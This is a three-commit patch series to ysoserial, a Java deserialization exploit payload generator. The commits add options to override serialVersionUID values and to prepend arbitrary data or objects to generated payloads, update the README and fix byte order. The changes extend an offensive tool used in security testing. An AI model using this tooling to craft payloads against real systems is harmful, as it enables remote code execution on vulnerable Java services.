From 85a51e4a9c33d75ef0fed2f364b75244fb689e82 Mon Sep 17 00:00:00 2001 From: fl0l0u <16851037+fl0l0u@users.noreply.github.com> Date: Tue, 28 Jun 2022 15:16:37 +0200 Subject: [PATCH 1/3] Adding argument parsing with following features: - serialVersionUID override (-s) - arbitrary data addition before payload (-p) --- pom.xml | 5 + src/main/java/ysoserial/GeneratePayload.java | 146 +++++++++++++------ src/main/java/ysoserial/Serializer.java | 85 +++++++++++ 3 files changed, 195 insertions(+), 41 deletions(-) diff --git a/pom.xml b/pom.xml index 97a10db9..011d1897 100644 --- a/pom.xml +++ b/pom.xml @@ -177,6 +177,11 @@ remoting-jmx 2.0.1.Final + + commons-cli + commons-cli + 1.5.0 + diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java index 88776f34..6caa2a81 100644 --- a/src/main/java/ysoserial/GeneratePayload.java +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -8,49 +8,113 @@ import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; +import org.apache.commons.cli.CommandLine; +import org.apache.commons.cli.Option; +import org.apache.commons.cli.Options; +import org.apache.commons.cli.CommandLineParser; +import org.apache.commons.cli.DefaultParser; +import org.apache.commons.cli.ParseException; + @SuppressWarnings("rawtypes") public class GeneratePayload { - private static final int INTERNAL_ERROR_CODE = 70; - private static final int USAGE_CODE = 64; - - public static void main(final String[] args) { - if (args.length != 2) { - printUsage(); - System.exit(USAGE_CODE); - } - final String payloadType = args[0]; - final String command = args[1]; - - final Class payloadClass = Utils.getPayloadClass(payloadType); - if (payloadClass == null) { - System.err.println("Invalid payload type '" + payloadType + "'"); - printUsage(); - System.exit(USAGE_CODE); - return; // make null analysis happy - } - - try { - final ObjectPayload payload = payloadClass.newInstance(); - final Object object = payload.getObject(command); - PrintStream out = System.out; - Serializer.serialize(object, out); - ObjectPayload.Utils.releasePayload(payload, object); - } catch (Throwable e) { - System.err.println("Error while generating or serializing payload"); - e.printStackTrace(); - System.exit(INTERNAL_ERROR_CODE); - } - System.exit(0); - } - - private static void printUsage() { - System.err.println("Y SO SERIAL?"); - System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'"); - System.err.println(" Available payload types:"); - - final List> payloadClasses = - new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); - Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize + private static final int INTERNAL_ERROR_CODE = 70; + private static final int USAGE_CODE = 64; + + public static void main(final String[] argv) { + CommandLine commandLine = null; + Options options = new Options(); + + Option serial = Option.builder("s") + .longOpt("serial") + .numberOfArgs(1) + .argName("Class=long") + .desc("Override serialVersionUID for a given class") + .build(); + Option prepend = Option.builder("p") + .longOpt("prepend") + .numberOfArgs(1) + .argName("Class=str") + .desc("Prepend payload with item(s)") + .build(); + Option help = Option.builder("h") + .longOpt("help") + .desc("Print usage") + .build(); + + options.addOption(serial); + options.addOption(prepend); + options.addOption(help); + + CommandLineParser parser = new DefaultParser(); + try { + commandLine = parser.parse(options, argv); + } catch (ParseException exp) { + System.err.println("Unexpected exception:" + exp.getMessage()); + System.exit(USAGE_CODE); + } + String [] args = commandLine.getArgs(); + if (args.length != 2 || commandLine.hasOption("help")) { + printUsage(); + System.exit(USAGE_CODE); + } + + List serialObjects = new ArrayList(); + if(commandLine.hasOption("serial")) { + String [] propvalues = commandLine.getOptionValues("serial"); + for (String propvalue : propvalues) { + serialObjects.add(propvalue); + } + } + List prependedObjects = new ArrayList(); + if(commandLine.hasOption("prepend")) { + String [] propvalues = commandLine.getOptionValues("prepend"); + for (String propvalue : propvalues) { + prependedObjects.add(propvalue); + } + } + + final String payloadType = args[0]; + final String command = args[1]; + + final Class payloadClass = Utils.getPayloadClass(payloadType); + if (payloadClass == null) { + System.err.println("Invalid payload type '" + payloadType + "'"); + printUsage(); + System.exit(USAGE_CODE); + return; // make null analysis happy + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + final Object object = payload.getObject(command); + PrintStream out = System.out; + Serializer.serialize(object, out, serialObjects, prependedObjects); + ObjectPayload.Utils.releasePayload(payload, object); + } catch (Throwable e) { + System.err.println("Error while generating or serializing payload"); + e.printStackTrace(); + System.exit(INTERNAL_ERROR_CODE); + } + System.exit(0); + } + + private static void printUsage() { + System.err.println("Y SO SERIAL?"); + System.err.println("Usage: java -jar ysoserial-[version]-all.jar [options] ''"); + System.err.println(" Options:"); + System.err.println(" -h,--help Print usage\n"); + System.err.println(" -s,--serial Override serialVersionUID for a given class:\n"+ + " ex. -s org.apache.commons.beanutils.BeanComparator=-3490850999041592962 ...\n"); + System.err.println(" -p,--prepend Prepend payload with the following item(s):\n"+ + " Possible values:\n"+ + " - raw data: write=HEX, write{Boolean|Byte|Bytes|Char|Chars|Double|Float|Int|Long|Short|UTF}=STR\n"+ + " - serialized object: Class=STR or Class\n"+ + " ex. -p writeBoolean=true -p writeUTF=Ficelle -p write=aced0005 -p java.util.ArrayList ...\n"); + System.err.println(" Available payload types:"); + + final List> payloadClasses = + new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); + Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize final List rows = new LinkedList(); rows.add(new String[] {"Payload", "Authors", "Dependencies"}); diff --git a/src/main/java/ysoserial/Serializer.java b/src/main/java/ysoserial/Serializer.java index a4d24eec..a79fd6fd 100755 --- a/src/main/java/ysoserial/Serializer.java +++ b/src/main/java/ysoserial/Serializer.java @@ -1,5 +1,7 @@ package ysoserial; +import java.util.*; + import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; @@ -7,6 +9,7 @@ import java.util.concurrent.Callable; public class Serializer implements Callable { + private final Object object; public Serializer(Object object) { this.object = object; @@ -27,4 +30,86 @@ public static void serialize(final Object obj, final OutputStream out) throws IO objOut.writeObject(obj); } + public static byte[] hexStringToByteArray(String s) { + int len = s.length(); + byte[] data = new byte[len / 2]; + for (int i = 0; i + 1 < len; i += 2) { + data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + + Character.digit(s.charAt(i+1), 16)); + } + return data; + } + + public static void serialize(final Object obj, final OutputStream out, final List serials, final List prepended) throws IOException { + final ByteArrayOutputStream tmp = new ByteArrayOutputStream(); + final ObjectOutputStream objOut = new ObjectOutputStream(tmp); + // prepend + for (String str : prepended) { + String [] values = str.split("="); + String key = values[0]; + String value = values.length > 1 ? values[1] : null; + try { + // raw data + if (key.equals("write")) { objOut.write(hexStringToByteArray(value)); + } else if (key.equals("writeBoolean")) { objOut.writeBoolean(new Boolean(value)); + } else if (key.equals("writeByte")) { objOut.writeByte(Integer.parseInt(value)); + } else if (key.equals("writeBytes")) { objOut.writeBytes(value); + } else if (key.equals("writeChar")) { objOut.writeChar(value.charAt(0)); + } else if (key.equals("writeChars")) { objOut.writeChars(value); + } else if (key.equals("writeDouble")) { objOut.writeDouble(Double.parseDouble(value)); + } else if (key.equals("writeFloat")) { objOut.writeFloat(Float.parseFloat(value)); + } else if (key.equals("writeInt")) { objOut.writeInt(Integer.parseInt(value)); + } else if (key.equals("writeLong")) { objOut.writeLong(Long.parseLong(value)); + } else if (key.equals("writeShort")) { objOut.writeShort(Integer.parseInt(value)); + } else if (key.equals("writeUTF")) { objOut.writeUTF(value); + // other + } else { + Class c = null; + Object o = null; + c = Class.forName(key); + if(value == null) { + o = c.newInstance(); + } else { + o = c.getConstructor(String.class).newInstance(value); + } + objOut.writeObject(o); + } + } catch (Exception e) { + System.err.format("Failed to prepend object %s\n%s\n%s\n", str, e.toString(), e.getMessage()); + e.printStackTrace(System.err); + System.exit(70); + } + } + objOut.writeObject(obj); + byte[] bytes = tmp.toByteArray(); + // serialVersionUID + for (String serial : serials) { + String [] values = serial.split("="); + long newUid = new Long(values[1]); + byte[] lng = new byte[] { (byte) newUid, (byte) (newUid >> 8), (byte) (newUid >> 16), (byte) (newUid >> 24), (byte) (newUid >> 32), (byte) (newUid >> 40), (byte) (newUid >> 48), (byte) (newUid >> 56) }; + byte[] classname = values[0].getBytes(); + byte[] payload = new byte[classname.length + lng.length]; + // byte[] concat classname|uid + for (int i = 0; i < payload.length; i++) { + payload[i] = i < classname.length ? classname[i] : lng[i - classname.length]; + } + // byte[] sed s/classname..../classnameSUID/g + int acc = 0; + for (int i = 0; i < bytes.length; i++) { + if(bytes[i] == classname[acc]) { + acc++; + } else { + acc = 0; + } + if(acc == classname.length) { + for (int z = 0; z < 8; z++) { + i++; + bytes[i] = lng[z]; + } + acc = 0; + } + } + } + out.write(bytes); + } } \ No newline at end of file From 16fa09d1ff4cdc4b6987fd1631d64f0f698a7afc Mon Sep 17 00:00:00 2001 From: fl0l0u <16851037+fl0l0u@users.noreply.github.com> Date: Tue, 28 Jun 2022 15:21:37 +0200 Subject: [PATCH 2/3] Update README.md --- README.md | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index b395c9a6..7223de65 100644 --- a/README.md +++ b/README.md @@ -43,8 +43,20 @@ are not responsible or liable for misuse of the software. Use responsibly. ```shell $ java -jar ysoserial.jar Y SO SERIAL? -Usage: java -jar ysoserial.jar [payload] '[command]' - Available payload types: +Usage: java -jar ysoserial-[version]-all.jar [options] '' + Options: + -h,--help Print usage + + -s,--serial Override serialVersionUID for a given class: + ex. -s org.apache.commons.beanutils.BeanComparator=-3490850999041592962 ... + + -p,--prepend Prepend payload with the following item(s): + Possible values: + - raw data: write=HEX, write{Boolean|Byte|Bytes|Char|Chars|Double|Float|Int|Long|Short|UTF}=STR + - serialized object: Class=STR or Class + ex. -p writeBoolean=true -p writeUTF=plop -p write=aced0005 -p java.util.ArrayList ... + +Available payload types: Payload Authors Dependencies ------- ------- ------------ AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 From b083692adbadd13daa361f943ae4eaccbe81e09d Mon Sep 17 00:00:00 2001 From: fl0l0u <16851037+fl0l0u@users.noreply.github.com> Date: Tue, 28 Jun 2022 15:44:22 +0200 Subject: [PATCH 3/3] Fix serialVersionUID serialized endianness --- src/main/java/ysoserial/Serializer.java | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/src/main/java/ysoserial/Serializer.java b/src/main/java/ysoserial/Serializer.java index a79fd6fd..eeab31bb 100755 --- a/src/main/java/ysoserial/Serializer.java +++ b/src/main/java/ysoserial/Serializer.java @@ -86,7 +86,16 @@ public static void serialize(final Object obj, final OutputStream out, final Lis for (String serial : serials) { String [] values = serial.split("="); long newUid = new Long(values[1]); - byte[] lng = new byte[] { (byte) newUid, (byte) (newUid >> 8), (byte) (newUid >> 16), (byte) (newUid >> 24), (byte) (newUid >> 32), (byte) (newUid >> 40), (byte) (newUid >> 48), (byte) (newUid >> 56) }; + byte[] lng = new byte[] { + (byte) (newUid >> 56), + (byte) (newUid >> 48), + (byte) (newUid >> 40), + (byte) (newUid >> 32), + (byte) (newUid >> 24), + (byte) (newUid >> 16), + (byte) (newUid >> 8), + (byte) newUid + }; byte[] classname = values[0].getBytes(); byte[] payload = new byte[classname.length + lng.length]; // byte[] concat classname|uid